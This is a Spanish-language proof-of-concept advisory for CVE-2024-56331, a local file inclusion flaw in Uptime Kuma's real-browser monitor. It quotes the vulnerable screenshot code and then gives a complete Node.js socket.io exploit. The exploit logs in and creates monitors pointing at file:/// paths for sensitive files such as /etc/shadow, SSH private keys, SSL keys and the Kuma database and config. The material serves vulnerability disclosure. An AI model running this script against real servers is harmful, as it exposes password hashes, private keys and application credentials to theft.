
Exploit de prueba de concepto para CVE-2024-56331, que demuestra Inclusión Local de Archivos en Uptime Kuma a través de un manejo inadecuado de URL en el monitor de navegador real. Usa el protocolo file:/// para capturar capturas de pantalla de archivos sensibles del servidor.
Real-BrowserUna Vulnerabilidad de Manejo Incorrecto de URL permite a un atacante acceder a archivos locales sensibles en el servidor explotando el protocolo file:///. Esta vulnerabilidad se activa a través del tipo de solicitud "real-browser", que toma una captura de pantalla de la URL proporcionada por el atacante. Al proporcionar rutas de archivos locales, como file:///etc/passwd, un atacante puede leer datos sensibles del servidor.
La vulnerabilidad surge porque el sistema no valida ni sanitiza correctamente la entrada del usuario para el campo URL. Específicamente:
La entrada URL (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) permite a los usuarios ingresar rutas de archivos arbitrarias, incluyendo aquellas que usan el protocolo file:///, sin validación del lado del servidor.
El servidor entonces utiliza la URL proporcionada por el usuario para hacer una solicitud, pasándola a una instancia del navegador que realiza la solicitud "real-browser", la cual toma una captura de pantalla del contenido en la URL dada. Si se ingresa una ruta de archivo local (por ejemplo, file:///etc/passwd), el navegador obtiene y captura el contenido del archivo.
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
Dado que la entrada del usuario no es validada, un atacante puede manipular la URL para solicitar archivos locales (por ejemplo, file:///etc/passwd), y el sistema capturará una captura de pantalla del contenido del archivo, exponiendo potencialmente datos sensibles.
view-source:file:///etc/passwd.Ejemplo PoC:
const { io } = require("socket.io-client");
// Server configuration and credentials
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // May vary depending on the distribution
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma database file
"/app/data/config.json" // Uptime Kuma configuration file
];
// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Response for file ${filePath}:`, res);
resolve();
});
});
}
// Main function for connecting and sending the 'add' request
(async () => {
const socket = io(CONFIG.serverUrl);
// Handle connection errors
socket.on("connect_error", (err) => {
console.error("Connection failed:", err.message);
});
try {
// Connecting with credentials
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connection successful");
resolve();
} else {
console.log(res);
reject(new Error("Connection failed"));
}
});
});
// Sending requests for each file using Promise.all to ensure synchronization
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Wait for all requests to be sent
await Promise.all([...realBrowserRequests]);
// Close the socket after all requests have been sent
socket.close();
console.log("Connection closed after all requests.");
} catch (error) {
console.error("Error:", error.message);
socket.close();
}
})();
Esta vulnerabilidad es un problema de Inclusión de Archivos Locales (LFI) , que permite a un atacante acceder y potencialmente exfiltrar archivos sensibles del servidor. El impacto es significativo, ya que los atacantes pueden acceder a archivos críticos del sistema o archivos de configuración de la aplicación, tales como:
/etc/passwd: Contiene información de cuentas de usuario./etc/shadow: Contiene hashes de contraseñas./app/data/kuma.db: Contiene la base de datos de la herramienta de monitoreo Uptime Kuma./app/data/config.json: Contiene las credenciales de la base de datos de Uptime Kuma.Cualquier usuario autenticado que pueda enviar una URL en modo "real-browser" corre el riesgo de exponer datos sensibles a través de capturas de pantalla de estos archivos.